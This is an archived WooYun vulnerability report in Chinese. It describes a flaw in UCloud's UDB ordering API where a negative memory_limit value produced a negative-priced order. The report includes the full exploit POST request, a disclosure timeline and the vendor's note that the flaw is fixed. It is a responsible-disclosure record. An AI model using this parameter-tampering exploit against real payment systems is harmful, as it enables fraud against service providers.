乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-01-12: 细节已通知厂商并且等待厂商处理中 2014-01-13: 厂商已经确认,细节仅向厂商公开 2014-01-23: 细节向核心白帽子及相关领域专家公开 2014-02-02: 细节向普通白帽子公开 2014-02-12: 细节向实习白帽子公开 2014-02-26: 细节向公众公开
UCloud 支付系统存在严重判断错误 可导致刷钱购买任意主机(已证明) #2
#1 问题描述由于在创建UDB填写服务器参数时,服务器未严格校验来自客户端提交的订单参数。#2 漏洞原因内存参数未判断是否为负数,导致计算最终金额失误
POST /api/udb/order&quantity=2&charge_type=3&count=1&memory_limit=-3000
#3 利用EXP
POST /api/udb/order HTTP/1.1Host: udb.ucloud.cnConnection: keep-aliveContent-Length: 513Accept: application/json, text/javascript, */*; q=0.01Origin: https://udb.ucloud.cnX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: https://udb.ucloud.cn/udb/createAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: PHPSESSID=ST-1389432337r16046A8D3A5F7A551C; Hm_lvt_62f4f23a826efd41750a4479e4cb2491=1387715471,1388750071,1389411748; Hm_lpvt_62f4f23a826efd41750a4479e4cb2491=1389432574; __utma=242209926.1025238294.1383140674.1389422216.1389428918.41; __utmb=242209926.44.10.1389428918; __utmc=242209926; __utmz=242209926.1383186629.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)db_type_id=1¶m_group_id=1&instance_name=dtest123&admin_user=root&admin_password=DDee33%40%40&port=3306&backup_id=&backup_name=&backup_count=7&backup_begintime=3&backup_duration=24&quantity=2&charge_type=3&count=1&memory_limit=-3000&disk_space=1000®ion_name=%E5%8C%97%E4%BA%ACBGP+A&selected=false&disabled=false&display=true&id=3&name=%E4%B8%AD1%E5%9E%8B&db_type_name=mysql5.5¶m_group_name=mysql5.5%E5%B0%8F%E5%9E%8B%E9%BB%98%E8%AE%A4%E9%85%8D%E7%BD%AE&use_session=yes&format=json®ion_id=1001&zone_id=1
# 证明成功生成了一个金额为负数的订单!
# 服务端做严格判断~! 我是用正常用户做的测试,请别封号呀,里面还有我自己的余额的!
危害等级:低
漏洞Rank:5
确认时间:2014-01-13 22:40
感谢,已经修复。
暂无